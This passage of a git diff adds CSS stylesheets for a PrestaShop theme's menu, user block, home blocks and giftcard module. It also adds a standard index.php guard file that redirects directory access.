+.sf-menu li:first-child{ + text-align:left; + width:14%; +} +.sf-menu a { + display:block; + margin-right:2px; + padding: 0 22px 0 20px; + line-height:34px; + border: 0; + text-decoration:none; + text-transform:uppercase; + padding:0 0 0 0; + font-size:12px; + border:0; +} +.sf-menu a, .sf-menu a:visited { /* visited pseudo selector so IE6 applies text colour*/ + color: #fff; + white-space:nowrap; +} + +.sf-menu .categories_block{ + position:absolute; + top:30px; + left:0; + padding:0px 0 0; + width:100%; + display:none; +} +.sf-menu .nosProduits:hover{ + height:auto; +} +.sf-menu .nosProduits:hover .categories_block{ + display:block; + +} +.sf-menu .categories_block .bg_categories_block{ + /*padding:20px 20px 35px;*/ + padding:20px 20px 0; + background:url('../../../../img/bg_categories_block.png') repeat-x 0 bottom; + background:white; +} +#header .sf-menu .categories_block{ + padding:0px 0px 35px; + background:url('../../../../img/bg_categories_block.png') repeat-x 0 bottom; +} + +.sf-menu .categories_block .produits{ + float:left; + width:471px; +} +.sf-menu .categories_block .besoins{ + float:left; + width:451px; +} +.sf-menu .categories_block p.title{ + font-family: Times New Roman; + font-size: 16px; + line-height: 19px; + padding:0 0 15px; + text-align:left; +} +.sf-menu .categories_block ul{ + width:auto; + position:relative; + top:0!important; + float:left; +} +.sf-menu .categories_block .produits ul{ + width:225px; +} +.sf-menu .categories_block .produits ul:last-child{ + width:230x; + padding:0 16px 0 0; +} + +.sf-menu .categories_block .besoins ul{ + width:290px; +} +.sf-menu .categories_block .besoins ul:last-child{ + width:160px; +} + +.sf-menu .categories_block .besoins{ + padding:0 0 0 30px; + border-left:1px solid #e4e4e4; +} +.sf-menu .categories_block ul li a, +.sf-menu .categories_block ul li:last-child, +.sf-menu .categories_block ul li{ + line-height:20px; + height:auto; + text-transform:none; + float:none; + display:block; + width:auto; + text-align:left; + white-space:normal; +} +.sf-menu .categories_block ul li{ + padding:2px 10px 2px 0; +} +.sf-menu .categories_block ul li a{ + color:#000000; + font-size:12px; + padding:0 0 0 10px; + background:url('../../../../img/categoriesFleche.png') no-repeat 0 2px; +} + +.sf-menu .categories_block ul li a.selected, +.sf-menu .categories_block ul li a:hover{ + color:#90ae00; + background:url('../../../../img/categoriesFlecheVerte.png') no-repeat 0 2px; +} +li.nosProduits{ + width:110px; + padding:0 9px; +} +li.nosProduits a.lien{ + margin:0; +} +li.nosProduits:hover a{ + background:white; + color:#90ae00; +} +li.presse{ + padding : 0 11px; +} \ No newline at end of file diff --git a/themes/default/css/modules/blockuserinfo/blockuserinfo.css b/themes/default/css/modules/blockuserinfo/blockuserinfo.css new file mode 100755 index 0000000..9b00541 --- /dev/null +++ b/themes/default/css/modules/blockuserinfo/blockuserinfo.css @@ -0,0 +1,48 @@ +#header_user{ + float:left; + min-width:220px; + line-height:36px; + line-height:23px; + height:23px; + margin-top:7px; +} +#header_user li{ + padding:0 10px; + line-height:23px; + height:23px; + float:left; + border-right:1px solid #2f2f2f; +} +#header_user a{ + color:#fafafa; + font-size:9px; + float:left; + line-height:23px; + height:23px; + text-transform:uppercase; +} +#header_user img{ + vertical-align:-1px; +} +#header_user a span{ + color:#c0db42; + font-size:9px; + text-transform:none; +} +#header_user p{padding:0; + position:absolute; + top:50px; + right:12px; +} +#header_user p a{ + float:left; + width:auto; + line-height:14px; + height:14px; + color:#b2b2b2; + font-size:8px; + text-transform:uppercase; + padding:0 4px 0 12px; + margin:0 0 0 10px; + background:#323232 url('../../../img/flecheGrise.png') no-repeat 4px center; +} \ No newline at end of file diff --git a/themes/default/css/modules/devspehomeblocks/devspehomeblocks.css b/themes/default/css/modules/devspehomeblocks/devspehomeblocks.css new file mode 100755 index 0000000..ab237c2 --- /dev/null +++ b/themes/default/css/modules/devspehomeblocks/devspehomeblocks.css @@ -0,0 +1,77 @@ +#devspehomeblocks{ + clear:both; + margin:30px auto 0; + width:998px; +} +#devspehomeblocks li{ + position:relative; + float:left; + width:482px; + height:169px; + padding:7px 19px 7px 11px; + margin:0 -11px; + background:url('../../../img/homeblock1.png') no-repeat 0 0; +} +#devspehomeblocks li img{ + float:left; + margin:-1px 18px 0 -1px; + border:0; + + height:171px; +} +#devspehomeblocks li span{ + display:block; +} +#devspehomeblocks li .title{ + font-size:22px; + font-family:Times New Roman; + text-transform:uppercase; + padding:8px 8px 8px 0; + font-weight:normal; + line-height:22Px; +} +#devspehomeblocks li .subtitle{ + font-size:14px; + line-height:17px; + font-family:Arial,Sans-Serif; + font-weight:bold; + padding:0px 4px 0px 0; +} +#devspehomeblocks li .description{ + font-size:13px; + line-height:17px; + font-family:Arial,Sans-Serif; +} +#devspehomeblocks li a.legende{ + position:absolute; + top:135px; + background:#b9da1a url('../../../img/homeblockFleche1.png') no-repeat right center; + color:#000000; + width:auto; + height:19px; + line-height:19px; + padding:0 30px 0 14px; + border:1px solid #a9c717; + left:158px; +} +#devspehomeblocks li a.legende:hover{ + text-decoration:none; + /*background:#a9c717 url('../../../img/homeblockFleche1.png') no-repeat right center;*/ +} +#devspehomeblocks li.alternate{ + float:right; + color:#000000; + background:url('../../../img/homeblock2.png') no-repeat right 0; +} +#devspehomeblocks li.alternate .legende{ + left:216px; +} +#devspehomeblocks li.alternate a.legende{ + border:0; + top:133px; + padding:2px 30px 1px 14px; + height:21px; + line-height:21px; + color:#ffffff; + background:url('../../../img/homeblockFleche2.png') no-repeat right center; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/admingiftcard.css b/themes/default/css/modules/giftcard/css/admingiftcard.css new file mode 100755 index 0000000..b5afcae --- /dev/null +++ b/themes/default/css/modules/giftcard/css/admingiftcard.css @@ -0,0 +1,114 @@ +form#giftcardproduct_form +{ + background-color: #ebedf4; + border: 1px solid #ccced7; + min-height: 404px; + padding: 5px 10px 10px; + margin-left: 140px; +} +div.action .btngiftcard +{ + float:left; +} +a.btngiftcard +{ + margin-top:5px; + color: #FFF; + text-shadow: 0px 1px 0px rgba( 200, 200, 200, 0.4); + background: #3C98CF; + background: -webkit-linear-gradient( #3C98CF, #2D74A0); + background: -moz-linear-gradient( #3C98CF, #2D74A0); + background: -ms-linear-gradient( #3C98CF, #2D74A0); + background: -o-linear-gradient( #3C98CF, #2D74A0); + background: linear-gradient( #3C98CF, #2D74A0); + font-size: 1.5em; + width: 150px; + padding: 6px; + text-align: center; + display: inline-block; + margin: 0 15px 15px 0; + border-radius: 7px; + box-shadow: 0 0 1px rgba( 0, 0, 0, 0.2), 0 -1px 0 rgba( 255, 255, 255, 0.1); + +} +a.btngiftcard:hover +{ + background: #3CA1D3; +background: -webkit-linear-gradient( #3CA1D3, #3386AF); +background: -moz-linear-gradient( #3CA1D3, #3386AF); +background: -ms-linear-gradient( #3CA1D3, #3386AF); +background: -o-linear-gradient( #3CA1D3, #3386AF); +background: linear-gradient( #3CA1D3, #3386AF); +} +#giftcardtemplateselect{ + float: left; + padding: 20px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: 45%; + max-width: 560px; + min-width: 320px; + +} +#giftcardtemplateselect_img{ + text-align: center; +} +div#giftcardcustom_form{ + float:left; + margin-left:5px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: auto; +} +#giftcardcustom_form h3 +{ +border-bottom: 1px solid #CECECE; +text-transform: uppercase; +padding-left: 5px; +margin-top: 0; +} +#giftcardcustom_form .tableformcustom{ + width: 100%; +} +#giftcardcustom_form .tableformcustom td.label{ + padding:3px; + vertical-align: top; + +} +#giftcardtemplates +{ + height:auto; + display: inline-block; +} +#giftcardtemplates .template_item{ + width:auto; + padding:5px; + display: block; + position:relative; + border-bottom:1px dashed #CECECE; + padding-bottom:50px; +} +#giftcardtemplates .template_item:hover{ + background-color:#FAAC58; +} +#giftcardtemplates .template_item a.button_delete{ + position:absolute; + bottom:5px; + right:5px; +} +#giftcardtemplates .template_item a.button_check{ + position:absolute; + bottom:0px; + left:5px; + width: 50px; + height: 50px; + background-image: url('../img/icon/check.png'); + background-repeat:no-repeat; +} +#giftcardtemplates .template_item a.button_check:hover{ + background-image: url('../img/icon/check_green.png'); +} + +.tagify-container > input{ + border: 0 none !important; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/admingiftcardtemplatebootstrap.css b/themes/default/css/modules/giftcard/css/admingiftcardtemplatebootstrap.css new file mode 100755 index 0000000..2ea983d --- /dev/null +++ b/themes/default/css/modules/giftcard/css/admingiftcardtemplatebootstrap.css @@ -0,0 +1,111 @@ +div.action .btngiftcard +{ + float:left; +} +a.btngiftcard +{ + margin-top:5px; + color: #FFF; + text-shadow: 0px 1px 0px rgba( 200, 200, 200, 0.4); + background: #3C98CF; + background: -webkit-linear-gradient( #3C98CF, #2D74A0); + background: -moz-linear-gradient( #3C98CF, #2D74A0); + background: -ms-linear-gradient( #3C98CF, #2D74A0); + background: -o-linear-gradient( #3C98CF, #2D74A0); + background: linear-gradient( #3C98CF, #2D74A0); + font-size: 1.25em; + width: 150px; + padding: 4px; + text-align: center; + display: inline-block; + margin: 0 15px 15px 0; + border-radius: 7px; + box-shadow: 0 0 1px rgba( 0, 0, 0, 0.2), 0 -1px 0 rgba( 255, 255, 255, 0.1); + +} +a.btngiftcard:hover +{ + background: #3CA1D3; +background: -webkit-linear-gradient( #3CA1D3, #3386AF); +background: -moz-linear-gradient( #3CA1D3, #3386AF); +background: -ms-linear-gradient( #3CA1D3, #3386AF); +background: -o-linear-gradient( #3CA1D3, #3386AF); +background: linear-gradient( #3CA1D3, #3386AF); +} +#giftcard_customize h3{ + margin-top:0px !important; + margin-left:3px !important; +} +#giftcardtemplateselect{ + + padding: 20px; + background-color: #FFF; + border: 1px dotted #CECECE; + + +} +#giftcardtemplateselect_img{ + text-align: center; +} +div#giftcardcustom_form{ + float:left; + margin-left:5px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: auto; +} +#giftcardcustom_form h3 +{ +border-bottom: 1px solid #CECECE; +text-transform: uppercase; +padding-left: 5px; +margin-top: 0; +font-size: 1em; +padding-top: 10px; + +} +#giftcardcustom_form .tableformcustom{ + width: 100%; +} +#giftcardcustom_form .tableformcustom td.label{ + padding:3px; + vertical-align: top; + +} +#giftcardtemplates +{ + height:auto; + display: inline-block; +} +#giftcardtemplates .template_item{ + width:auto; + padding:5px; + display: block; + position:relative; + border-bottom:1px dashed #CECECE; + padding-bottom:50px; +} +#giftcardtemplates .template_item:hover{ + background-color:#FAAC58; +} +#giftcardtemplates .template_item a.button_delete{ + position:absolute; + bottom:5px; + right:5px; +} +#giftcardtemplates .template_item a.button_check{ + position:absolute; + bottom:0px; + left:5px; + width: 50px; + height: 50px; + background-image: url('../img/icon/check.png'); + background-repeat:no-repeat; +} +#giftcardtemplates .template_item a.button_check:hover{ + background-image: url('../img/icon/check_green.png'); +} + +.tagify-container > input{ + border: 0 none !important; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/admingiftcardtemplateps15.css b/themes/default/css/modules/giftcard/css/admingiftcardtemplateps15.css new file mode 100755 index 0000000..4987a23 --- /dev/null +++ b/themes/default/css/modules/giftcard/css/admingiftcardtemplateps15.css @@ -0,0 +1,117 @@ +form#giftcardtemplate_form +{ + background-color: #ebedf4; + border: 1px solid #ccced7; + min-height: 404px; + padding: 5px 10px 10px; + margin-left: 140px; +} +div.action .btngiftcard +{ + float:left; +} +a.btngiftcard +{ + margin-top:5px; + color: #FFF; + text-shadow: 0px 1px 0px rgba( 200, 200, 200, 0.4); + background: #3C98CF; + background: -webkit-linear-gradient( #3C98CF, #2D74A0); + background: -moz-linear-gradient( #3C98CF, #2D74A0); + background: -ms-linear-gradient( #3C98CF, #2D74A0); + background: -o-linear-gradient( #3C98CF, #2D74A0); + background: linear-gradient( #3C98CF, #2D74A0); + font-size: 1.25em; + width: 150px; + padding: 4px; + text-align: center; + display: inline-block; + margin: 0 15px 15px 0; + border-radius: 7px; + box-shadow: 0 0 1px rgba( 0, 0, 0, 0.2), 0 -1px 0 rgba( 255, 255, 255, 0.1); + +} +a.btngiftcard:hover +{ + background: #3CA1D3; +background: -webkit-linear-gradient( #3CA1D3, #3386AF); +background: -moz-linear-gradient( #3CA1D3, #3386AF); +background: -ms-linear-gradient( #3CA1D3, #3386AF); +background: -o-linear-gradient( #3CA1D3, #3386AF); +background: linear-gradient( #3CA1D3, #3386AF); +} +#giftcardtemplateselect{ + float: left; + padding: 20px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: 45%; + max-width: 560px; + min-width: 320px; + +} +#giftcardtemplateselect_img{ + text-align: center; +} +div#giftcardcustom_form{ + float:left; + margin-left:5px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: auto; +} +#giftcardcustom_form h3 +{ +border-bottom: 1px solid #CECECE; +text-transform: uppercase; +padding-left: 5px; +margin-top: 0; +font-size: 1em; +padding-top: 10px; + +} +#giftcardcustom_form .tableformcustom{ + width: 100%; +} +#giftcardcustom_form .tableformcustom td.label{ + padding:3px; + vertical-align: top; + +} +#giftcardtemplates +{ + height:auto; + display: inline-block; +} +#giftcardtemplates .template_item{ + width:auto; + padding:5px; + display: block; + position:relative; + border-bottom:1px dashed #CECECE; + padding-bottom:50px; +} +#giftcardtemplates .template_item:hover{ + background-color:#FAAC58; +} +#giftcardtemplates .template_item a.button_delete{ + position:absolute; + bottom:5px; + right:5px; +} +#giftcardtemplates .template_item a.button_check{ + position:absolute; + bottom:0px; + left:5px; + width: 50px; + height: 50px; + background-image: url('../img/icon/check.png'); + background-repeat:no-repeat; +} +#giftcardtemplates .template_item a.button_check:hover{ + background-image: url('../img/icon/check_green.png'); +} + +.tagify-container > input{ + border: 0 none !important; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/choicegiftcard.css b/themes/default/css/modules/giftcard/css/choicegiftcard.css new file mode 100755 index 0000000..58aad48 --- /dev/null +++ b/themes/default/css/modules/giftcard/css/choicegiftcard.css @@ -0,0 +1,597 @@ +/*** GIFTCARD TABS ***/ +#choicegiftcard .gctabs{ + margin-top:0px; + list-style: none; +} +#choicegiftcard .gctabs li a{ + float:left; + border-left:1px solid #C4C4C4; + border-top:1px solid #C4C4C4; + border-right:1px solid #C4C4C4; + font-size:14px; + background: #EBEBEB; + font-family:"ProximaNova" !important; + padding: 10px 10px 7px 10px; + text-decoration: none; +} +#choicegiftcard .gctabs { + padding:0px 60px; +} +#choicegiftcard .gctabs li a.selected { + color: #000; + font-weight:bold; + background: #BADB1C; +} +#choicegiftcard div.gctab_content{ + display:none; +} +#choicegiftcard div.gctab_content.selected{ + display:block; +} +/*** END TABS ***/ +#choicegiftcard p.error { + background-color : #fdf7f7; + border: 1px solid #d9534f; + color : #d9534f; + padding : 5px; +} +#choicegiftcard p.success { +color: #3c763d; +background-color: #dff0d8; +border: 1px solid #3c763d; +padding : 5px; +} +/*** JCAROUSEL ***/ +#choicegiftcard .jcarousel-wrapper { + padding:20px 0; + position: relative; + background:#EBEBEB; + border:1px solid #B9DA1A; +} + +#choicegiftcard .jcarousel { + position: relative; + overflow: hidden; + width: auto; + margin:0 60px; +} + +#choicegiftcard .jcarousel ul { + width: 20000em; + position: relative; + list-style: none; + margin: 0; + padding: 0; +} + +#choicegiftcard .jcarousel li { + float: left; + margin-left:-2px; + width:auto !important; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding: 6px 6px 6px 6px; + position:relative; +} +#choicegiftcard .jcarousel li:hover{ + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +#choicegiftcard .jcarousel li.selected { + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +#choicegiftcard .jcarousel li a{ + width: 134px !important; + display:inline-block; + padding:5px; + border:2px solid transparent; +} +#choicegiftcard .jcarousel li:hover a{ + border:2px solid #c4c4c4; +} +#choicegiftcard .jcarousel li.selected a{ + border:2px solid #BADB1C; +} +#choicegiftcard .jcarousel li span.zoom_link{ + background:url(../../../../../../modules/giftcard/img/icon/zoom.png) no-repeat; + padding-left: 20px !important; + position:absolute; + bottom:3px; + left:5px; + height: 16px; +} +#choicegiftcard .jcarousel li span.check{ + visibility:hidden; + opacity:0; + background:url(../../../../../../modules/giftcard/img/icon/check_wg.png) no-repeat; + height:24px; + width:24px; + position:absolute; + top:0px; + right:0px; +} +#choicegiftcard .jcarousel li.selected span.check{ + visibility:visible; + opacity:1; +} +#choicegiftcard .jcarousel img { + display: block; + width: 130px !important; + max-width: 130px !important; + height: auto !important; + margin:0 auto; +} + +/** Carousel Controls **/ +#choicegiftcard .jcarousel-control-prev +{ + left:0; + background-image: url("../../../../img/gray_prev.png"); + box-shadow:2px 0px 2px rgba(0,0,0,0.3); +} +#choicegiftcard .jcarousel-control-next +{ + right:0; + background-image: url("../../../../img/gray_next.png"); + box-shadow:-2px 0px 2px rgba(0,0,0,0.4); +} +#choicegiftcard .jcarousel-control-prev, +#choicegiftcard .jcarousel-control-next { + position: absolute; + opacity:0.3; + top: 0; + bottom:0; + width: 60px; + text-align: center; + background-repeat: no-repeat; + background-position: center center; + background-color: rgba(0, 0, 0, 0); + color: #fff; + text-decoration: none; + transition:all 0.4s linear; +} +#choicegiftcard .jcarousel-control-prev:hover, +#choicegiftcard .jcarousel-control-next:hover +{ + background-color: rgba(0,0,0,0.1); + opacity:1; +} + + +/** Carousel Pagination **/ + +#choicegiftcard .jcarousel-pagination { + position: absolute; + bottom: -40px; + left: 50%; + -webkit-transform: translate(-50%, 0); + -ms-transform: translate(-50%, 0); + transform: translate(-50%, 0); + margin: 0; +} + +#choicegiftcard .jcarousel-pagination a { + text-decoration: none; + display: inline-block; + font-size: 11px; + height: 10px; + width: 10px; + line-height: 10px; + background: #fff; + color: #4E443C; + border-radius: 10px; + text-indent: -9999px; + margin-right: 7px; + -webkit-box-shadow: 0 0 2px #4E443C; + -moz-box-shadow: 0 0 2px #4E443C; + box-shadow: 0 0 2px #4E443C; +} + +#choicegiftcard .jcarousel-pagination a.active { + background: #4E443C; + color: #fff; + opacity: 1; + -webkit-box-shadow: 0 0 2px #F0EFE7; + -moz-box-shadow: 0 0 2px #F0EFE7; + box-shadow: 0 0 2px #F0EFE7; +} +/*** END JCAROUSEL ***/ + + + + +/*** FORM GIFT CARD ***/ +#formgiftcard p{ + padding-bottom: 5px; +} +#formgiftcard p.datesendcard{ + margin-top: 5px; +} +#formgiftcard h3.datesendcard{ + background: url("../../../../../../modules/giftcard/img/icon/calendar_send.png") no-repeat; + padding-left: 28px !important; + padding-top: 5px; +} +#formgiftcard .input { + color: #3c3c3c; + height: 40px; + font-family: Helvetica, Arial, sans-serif; + font-weight: 500; + border-radius: 0; + line-height: 16px; + background-color: #fff; + padding: 13px 13px 13px 54px; + margin-bottom: 10px; + width: 100%; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + -ms-box-sizing: border-box; + box-sizing: border-box; + border-style: solid; + border-width: 1px; + border-color: #dedede; + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; + -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1) inset; + transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, color + 0.15s linear 0s; + -webkit-transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, + color 0.15s linear 0s; + -moz-transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, + color 0.15s linear 0s; + -o-transition: border 0.15s linear 0s, box-shadow 0.15s linear 0s, color + 0.15s linear 0s; +} + +#formgiftcard .input:focus { + box-shadow: 0; + border: 1px solid #000; + color: #000; + outline: none; +} + + +/* Icons */ +#formgiftcard input.input_user_to{ + background-image: url(../../../../../../modules/giftcard/img/icon/user_to.png); + background-size: 30px 27px; + background-position: 11px 8px; + background-repeat: no-repeat; +} +#formgiftcard input.input_user_to:focus{ + background-image: url(../../../../../../modules/giftcard/img/icon/user_to_active.png); +} +#formgiftcard input.input_user_from{ + background-image: url(../../../../../../modules/giftcard/img/icon/user_from.png); + background-size: 30px 27px; + background-position: 11px 8px; + background-repeat: no-repeat; +} +#formgiftcard input.input_user_from:focus{ + background-image: url(../../../../../../modules/giftcard/img/icon/user_from_active.png); +} +#formgiftcard .textarea_comment{ + background-image: url(../../../../../../modules/giftcard/img/icon/pen.png); + background-size: 30px 30px; + background-position: 11px 8px; + background-repeat: no-repeat; +} +#formgiftcard .textarea_comment:focus{ + background-image: url(../../../../../../modules/giftcard/img/icon/pen_active.png); +} + + +#formgiftcard input.email { + background-image: url(../../../../../../modules/giftcard/img/icon/mail.png); + background-size: 29px 19px; + background-position: 11px 12px; + background-repeat: no-repeat; +} + +#formgiftcard input.email:focus { + background-image: url(../../../../../../modules/giftcard/img/icon/mail_active.png); +} + +#formgiftcard textarea.textarea_comment { + width: 100%; + height: 150px; + line-height: 150%; + resize: vertical; +} + + + +#formgiftcard select{ + height: 28px; +} +#formgiftcard .submit_button { + float: left; + padding:10px 25px; + background:#ebebeb; + color:#666; + border:1px solid #cacaca; + font-size:16px; + font-family:"ProximaNova"; +} +#formgiftcard .submit_form.submit_button +{ + background:#B9DA1A; + font-weight:bold; + color:#333; + float:right; +} + +#formgiftcard .submit_button:hover { + +} + + +/*** END FORM GIFT CARD ***/ + +/*AJAX OVERLAY*/ +#choicegiftcard div.ui-loader-background { + width: 100%; + height: 100%; + top: 0; + margin: 0; + background-image: url('../../../../../../modules/giftcard/img/ajax-loader.gif'); + background-repeat: no-repeat; + background-position: center; + background-color: rgb(0, 0, 0); + /* RGBa with 0.6 opacity */ + background-color: rgba(0, 0, 0, 0.6); + /* For IE 5.5 - 7*/ + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, + endColorstr=#99000000); + /* For IE 8*/ + -ms-filter: + "progid:DXImageTransform.Microsoft.gradient(startColorstr=#99000000, endColorstr=#99000000)"; + position: absolute; + z-index: 1000; + display: none; +} + +#choicegiftcard .ui-loading .ui-loader-background { + display: block; +} +/*END AJAX OVERLAY*/ + + +/* ANTADIS */ +body#module-giftcard-choicegiftcard, +body.ui-mobile-viewport #module-giftcard-choicegiftcard +{ + background:url("../../../../img/bg_blog.jpg") repeat-y scroll center center #000000 +} + +body.ui-mobile-viewport #module-giftcard-choicegiftcard ul.gctabs{ + margin-bottom:0px !important; +} + +body.ui-mobile-viewport #module-giftcard-choicegiftcard #formgiftcard *{ + color:#000; +} +body.ui-mobile-viewport #module-giftcard-choicegiftcard fieldset{ + padding:0px 3%; + width:94%; +} + +#primary_block +{ + float: left; + min-height: 380px; + width: 652px; +} + + +body.ui-mobile-viewport #primary_block +{ + float: left; + min-height: 380px; + width: 100%; +} + + +#primary_block #choicegiftcard +{ + +} + +#choicegifcard_content, +#primary_block #intro +{ + border-top: 7px solid #B9DA1A; + background: #fff; +} + +#primary_block #intro{ + padding:0px 20px; +} + +#choicegifcard_content +{ + margin-top:20px; +} +#primary_block #intro h1 +{ + text-align: center; + font-family: Times New Roman; + margin-top:20px; +} +#primary_block #intro h1 span{ + position:relative; + text-transform: uppercase; + font-size:30px; + line-height:30px; + color:#000; +} +#primary_block #intro h1 span:before{ + content:"["; + position:absolute; + left:-15px; + top:0px; + bottom:0; + color:#B9DA1A; + font-family: Times New Roman; + font-size:30px; +} +#primary_block #intro h1 span:after{ + content:"]"; + position:absolute; + right:-15px; + top:0px; + bottom:0; + color:#B9DA1A; + font-family: Times New Roman; + font-size:30px; +} +#primary_block #intro #intro_content, +#primary_block #intro #intro_content *{ + font-family:"ProximaNova" !important; +} +#primary_block #intro #intro_content{ + padding-top:30px; + padding-bottom:50px; +} + +#primary_block #intro #intro_content .intro-pic, +#primary_block #intro #intro_content .intro-text{ + float:left; + color:#000; +} +#primary_block #intro #intro_content .intro-text *{ + font-size:14px; + line-height:24px; +} + +#primary_block #intro #intro_content .intro-pic +{ + width:270px; + margin-right:50px; +} +body.ui-mobile-viewport div#module-giftcard-choicegiftcard.ui-page #primary_block #intro #intro_content .intro-pic +{ + margin-right:20px; +} +#primary_block #intro #intro_content .intro-text +{ + width:292px; +} + +body.ui-mobile-viewport #primary_block #intro #intro_content .intro-text{ + width:280px; +} + +#primary_block #intro #intro_content{ + clear: both +} + +#choicegifcard_content h2 +{ + margin:35px 0 30px 0; + padding:0px 20px; +} +#choicegifcard_content h2 span{ + display: inline-block; + padding:8px 15px; + color:#fff !important; + background:#000; + font-size:16px; + font-family:"ProximaNova"; + font-weight:normal; +} + +.label-btn{ + color:#333; + opacity:0.8; + display:block; + padding:10px 13px 10px 30px; + text-align: center; + margin:0 10px 10px 0; + border:1px solid #C4C4C4; + background:#EBEBEB; + float:left; + font-size:16px; + font-family:"ProximaNova"; + cursor:pointer; +} +.label-btn:hover{ + opacity:1; +} +.label-btn.checked{ + opacity:1; + background:#B9DA1B; + font-weight:bold; +} +fieldset#reception_content .label-btn{ + background:url(../../../../img/bg_check_giftcard.png) 9px 9px no-repeat #EBEBEB; +} +fieldset#reception_content .label-btn.checked{ + background:url(../../../../img/bg_check_giftcard.png) 9px -23px no-repeat #B9DA1B; +} +.label-btn input{ + display:none; +} +fieldset#information_content .label-btn{ + width:85px; + padding:10px 0; +} + +fieldset#information_content, +fieldset#reception_content{ + padding:0px 60px; +} +fieldset#information_content p.from, +fieldset#information_content p.name{ + float:left; +} +fieldset#information_content p.from{ + margin-right:40px; +} +fieldset#information_content p.from label, +fieldset#information_content p.name label, +fieldset#information_content p.text label, +fieldset#reception_content p.email label, +fieldset#reception_content p.datesendcard label +{ + display:block; + margin-bottom:5px; +} +fieldset#information_content p.from input, +fieldset#information_content p.name input +{ + width:246px; +} + +fieldset#reception_content a.selectBox:first-child{ + min-width:45px !important; + width:45px !important; + max-width:45px !important; +} +fieldset#reception_content a.selectBox{ + width:115px; +} +fieldset#reception_content a.selectBox:last-child{ + width:65px; +} +body.ui-mobile-viewport #module-giftcard-choicegiftcard #formgiftcard input[placeholder], +body.ui-mobile-viewport #module-giftcard-choicegiftcard #formgiftcard [placeholder], +body.ui-mobile-viewport #module-giftcard-choicegiftcard #formgiftcard *[placeholder] { + color: #3c3c3c !important; +} +body form .radio, body form .select, body form .text{ + line-height: inherit; +} + + +body.ui-mobile-viewport div#module-giftcard-choicegiftcard.ui-page div#content.ui-content{ + box-sizing:border-box !important; + -webkit-box-sizing:border-box; + -moz-box-sizing:border-box; + -khtml-box-sizing:border-box; + -o-box-sizing:border-box; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/giftcard.css b/themes/default/css/modules/giftcard/css/giftcard.css new file mode 100755 index 0000000..0bb8b22 --- /dev/null +++ b/themes/default/css/modules/giftcard/css/giftcard.css @@ -0,0 +1,6 @@ +#giftcard_block p.link_gift_cards{ + background:url(../img/icon/giftcard_block.png) no-repeat; + padding-left:50px; + padding-top:5px; + height:30px; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/giftcardorder.css b/themes/default/css/modules/giftcard/css/giftcardorder.css new file mode 100755 index 0000000..02b5aa1 --- /dev/null +++ b/themes/default/css/modules/giftcard/css/giftcardorder.css @@ -0,0 +1,78 @@ +ul.info_message{ + list-style: none; + overflow-y: auto; + height: 50px; +} +ul.info_message li{ + border-bottom:1px dashed #CECECE; + font-size: 10px; +} +ul.info_message li span.info_date{ + font-weight:bold; + font-style: italic; + padding-right:3px; +} +/*CUSTOM FIELD*/ +td.viewgifcardcustomopen { + border:1px solid #ccc !important; +} +div.giftcard_custom_fields{ + + background-color:#F3E2A9; +} +div.giftcard_custom_fields table{ + width:100%; + background-color:#FFF; +} +td.line_giftcard_customfields{ + border-top:1px solid #ccc; !important; + background-color:#f8f8f8; +} + +div.giftcard_custom_fields table tr td.title_header{ + font-size: 16px; + font-weight: normal; + overflow: hidden; + line-height: 25px; + height: 25px; + margin: 0; + padding: 5px 10px; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + border-bottom: 1px solid #ccc; +} +div.giftcard_custom_fields table tr td.label{ + width:150px; +} +/*MEANING STATUS*/ +#giftcardstatus{ + +} +#giftcardstatus h3{ + font-size: 16px; + font-weight: normal; + overflow: hidden; + line-height: 25px; + height: 25px; + margin: 0; + padding: 5px 10px; + background-image: -moz-linear-gradient(center top , #F9F9F9, #ECECEC); + background: -webkit-gradient(linear, center top ,center bottom, from(#F9F9F9), to(#ECECEC)) repeat scroll 0 0 transparent; + border-bottom: 1px solid #ccc; +} +#giftcardstatus .block{ + float: right; + margin: 0 10px 10px 0; + min-height: 178px; + width: 45%; + border: 1px solid #ccc; + background-color: #f8f8f8; + min-height: 178px; +} +#giftcardstatus table.table td.label{ + color:white; + text-align:center; + width:150px; + text-transform:uppercase; + font-weight:bold; +} \ No newline at end of file diff --git a/themes/default/css/modules/giftcard/css/index.php b/themes/default/css/modules/giftcard/css/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/themes/default/css/modules/giftcard/css/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/themes/default/css/modules/homeslider/bx_styles.css b/themes/default/css/modules/homeslider/bx_styles.css new file mode 100755 index 